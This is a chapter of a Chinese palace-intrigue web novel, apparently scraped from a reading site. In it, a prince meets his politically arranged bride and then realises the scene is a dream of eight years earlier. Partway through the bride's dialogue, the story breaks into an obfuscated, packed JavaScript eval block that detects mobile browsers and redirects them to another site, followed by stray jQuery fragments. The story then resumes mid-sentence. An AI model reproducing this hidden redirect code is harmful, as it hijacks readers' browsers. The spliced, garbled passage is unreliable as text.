33.宫墙日暖忆师语,盟约灯前念卿卿

作品:《江湖游鱼

    萧祚忙按住萧炽的手,道:“师父已为了我做了许多,我不应再麻烦师父了。”


    萧炽被徒弟扯住,也并不气恼,倒是与他感同身受:“身在帝王家,便是这般有诸多身不由己。”他忽而抬头望去,萧祚也跟着去看,只见树上两只黄鹂,叽叽喳喳地引颈高歌。


    萧炽道:“为师已是不惑之年,心中却依然常常疑惑——若是当初我不生在帝王家,不曾陷入这权力的漩涡之中,与兄弟姐妹斗得你死我活,如今是否能如这并立而啼的黄鹂一般逍遥自在。”


    萧祚道:“师父不过是棋差一招,何必悲秋伤春。如若当年师父不争不抢,大抵也会觉得遗憾吧。”


    萧炽捂住徒弟的嘴巴,叫他莫说这大逆不道的话。急切之后,他又笑起来,“是啊,你活得比我通透许多,结局应该也比我要好吧。”


    这话仿佛一句谶言。萧祚不知怎的,无论如何都应不下这句话,连同少年时大言不惭的气魄都尽消了,张了张嘴,却又哑口无言。


    这时候院门被推开,萧祚回头去看,来人正是他的父皇,当朝天子萧炫。


    萧炫今日没有穿朝会时那身威严的龙袍,只着一件墨色便衣,肩上草草披了件单薄的披风。


    见到父皇,萧祚急忙跪下,心中惊疑不定,不知父皇方才听了多久,是否将自己宽慰师父的话也听了进去。


    萧炫却丝毫未看向他,径直掠过跪地的儿子,去扶起同样行礼的萧炽。


    他来萧炽院中从不带侍卫太监,亦不端帝王架子。只是萧炽似乎格外怕他,每次皆行臣子拜见君王的大礼,尽管萧炫说过许多次:“你见我,不必行礼。”


    萧祚不敢抬头,心中推想:以父皇的性格,若听见自己那番话,会是打哑谜,还是直言不讳?


    萧炫的足尖转向了他这边,声音从上方飘下来:“小祚,你也不要跪在这里了。”他语调悠然,“今日我叫了孙刑丞的女儿钰妍进宫,你应当还记得她。此刻她正在永和堂,你去陪陪她吧。”


    萧祚领了旨,心中却无半分如蒙大赦之感,烦闷丝毫未减,面上却不敢声张,只得站起身来。他看见父皇揽着萧炽的肩,而萧炫见他望来,便伸手揉了揉他的头,一副慈父模样。


    退出院门后,萧祚的脚却黏在原地,动弹不得。他忽然觉得天地如同一座颠倒的熔炉,自己身处其中,日日被烈火焚烧,却不能喊一声疼——始终有声音渺若天恩,在耳边回荡:“需得炼制九九八十一天,方能炼成灵丹妙药。”


    连自幼生活的皇宫,在他脑海中也逐渐模糊。他仿佛浮在空中俯瞰,红墙绿瓦,宫阙林立,这皇宫分明方方正正,看去却像一座太极洞。小予不在身边,他在洞中迷雾里一圈又一圈地绕,处处碰壁,永远走不到尽头。


    好疲惫。身体发软,心跳也有些剧烈。


    他撑不住,扶着墙蹲下来,止不住喘气。


    “七殿下?”忽然有人唤他。萧祚抬头,看见一张丰润的圆脸,云鬓簪着金步摇,罗衫下隐约露出石榴裙摆,应是位官家小姐。


    她面上敷着匀净的粉,双眉画得平直而长,几乎没入鬓角。那双眼睛正毫不避讳地望过来,瞳仁黑沉沉的——里头没有寻常闺秀的羞怯,反倒沉着某种近乎审度的光。


    “你是?”萧祚勉力直起身,却想不起何时见过这女子。


    女子也不羞怯,扶衣款款行礼,自报家门:“家父刑丞孙长巾,小女孙钰妍。”


    萧祚这才想起,父皇方才命他去见的、前几日殿上许配给他的,正是这位孙钰妍。他没力气去永和堂寻人,对方倒先找了过来。


    他看着她,她也直视着他。两人各行各的礼,面面相觑,相顾无言。


    萧祚在腹中搜肠刮肚,却找不出此时该说的话。一番僵持,倒是孙钰妍先开口:“七殿下如今与我们孙家,也算利益与共了。何不在宫中走走,说说话呢?”


    听见这话,萧祚不由想叹气。刑丞孙长巾在朝中势力颇盛,此人机敏善断,屡破悬案,深得父皇器重,朝中大小案件卷宗几乎皆经其手,四方前来巴结的门客不计其数。


    萧祚此前与孙长巾并无深交,他结交的多是礼司、工坊之人。若能得刑司支持,于他日后争夺太子之位,无疑大有裨益。


    因此那日父皇在殿上赐婚时,他无论如何也说不出反对的理由。


    如今孙钰妍将话说得直白,倒让萧祚一时不知如何接话。他沉默片刻,才道:“孙姑娘倒是爽快。”


    “宫闱之中,爽快些好。”孙钰妍微微一笑,“我知殿下心中或有不愿。这门婚事于殿下而言,不过是父皇之命、朝局之需。于我,亦是如此。”


    萧祚侧目看她,见她神色坦然,倒像是与萧祚共谋的军师。他心中也不免好奇起来,“孙姑娘既知如此,又为何应下?”


    孙钰妍停下脚步,转身正视他:“殿下可曾见过刑司大牢?”


    萧祚摇头。


    “我去过。”她淡淡道,语气平静得像在说今日天气,“七岁那年,父亲带我去的。那时他刚破获一桩贪腐大案,牵涉朝中三品大员。那官员的妻女哭喊着被拖走时,我就在旁看着。”


    她望向远处宫墙上的琉璃瓦,阳光刺目,她微微眯起眼:“父亲说,让我看看权力倾轧的下场。那之后我便明白,在这朝堂之上,要么执棋,要么为子。我孙家已站在这个位置,退一步,便是万丈深渊。”


    萧祚静静听着,心中涌起复杂情绪。萧炽刚刚才说过,“身在帝王家,身不由己”。原来这身不由己,不只限于皇家。


    “所以姑娘愿为家族,嫁予一个素未谋面之人?”他问。


    孙钰妍转回目光,那双黑沉沉的眼中终于有了一丝波澜:“不是愿,是选。既然总要嫁人,不如嫁一个最能护住孙家的人。殿下是陛下最宠爱的皇子,才德兼备,是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841597|189445||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    最有希望的储君人选。这选择,不难做。”


    她说得如此直白,几乎残忍地将这场婚姻的政治本质剖开在他面前。


    萧祚的疲惫感更甚,不是为这婚事,而是为这宫中、这朝堂上无处不在的算计与权衡。


    “若我最终未能登上那个位置呢?”他问。


    孙钰妍笑道:“那便是孙家押错了宝。赌局总有输赢,既入局,便得认。”


    她顿了顿,又道:“不过我相信父亲的眼光,也相信自己的判断。殿下眼中有所求,但不是对权力的贪婪。我看得出来。”


    萧祚一怔,心中不由得对孙钰妍多了些欣赏。他想,若是她是我在学堂上的同门,说不定我们可以做朋友。


    “殿下不必惊讶。”孙钰妍仿佛看穿他的心思,接着说到,“刑司之家,最擅察言观色。父亲常说,人的眼睛藏不住真心。殿下眼中有的,是抱负,是责任,我是自愧不如的。”


    萧祚意识到,眼前这位即将成为他妻子的女子,或许会是他在宫中难得的盟友——清醒、敏锐,且与他一样,在这棋局中保持着某种程度的清醒。


    但不知为何,他的心思始终游离,即使是这样正式的话题,他也难以搭腔接话。


    天地如梦,玄而昏乱,万事万物都飘摇着,如同山川倾泻溅起的濛濛水汽。要和这样的人携手一生吗,从此利益与共,做在一条竹竿上哀叫的蚂蚱。


    水声好大,让他不由想起月色笼罩的屋檐、纵马驰骋的草原、虚无的敬给天地的酒杯......


    有个女孩在水汽之中回过头来——萧祚!她喊他,你便来做那明君!


    那样鲜活,那样真实。可是为什么在水汽中,伸出手就要破碎似的。


    萧祚这才恍然意识到,自己可能正身处一场梦境之中。这场梦将他带回了八年前的皇宫,正是元宵节前夕。也就是这一年的元宵节,师父受命驻守边关,从此山高路远、黄沙漫天、再不相见。


    还是这一年的中秋,父皇被诊出绝症,全靠太医一口药一口药吊着,一时间各皇子明争暗斗,他萧祚也不能幸免,不得不卷入这场权力的漩涡。他在谋划与算计中度过两年后,等来了父皇传位的诏书和死讯。


    也是在今年,师父临走前,父皇亲自下旨,将刑丞孙长巾之女孙钰妍指婚给他。他们择了吉日,办了喜宴。然而婚宴过后,两人便各居一室,成了名义上的夫妻。


    当时萧炽也问过他。若是他不愿意,萧炽愿意去劝说父皇收回成命。


    可那时的萧祚野心正盛,迫切需要在朝中建立自己的势力。一桩合适的姻亲正是巩固地位的最佳途径。再加上师父与父皇关系本就紧张,他实在不愿让师父为此事再去与父皇周旋。经过短暂权衡,他最终在殿前行礼谢恩,接下了这门连新娘面都未曾见过的婚事。


    这一年算不上太好,但比起后来发生的那些事,终究还不算最坏。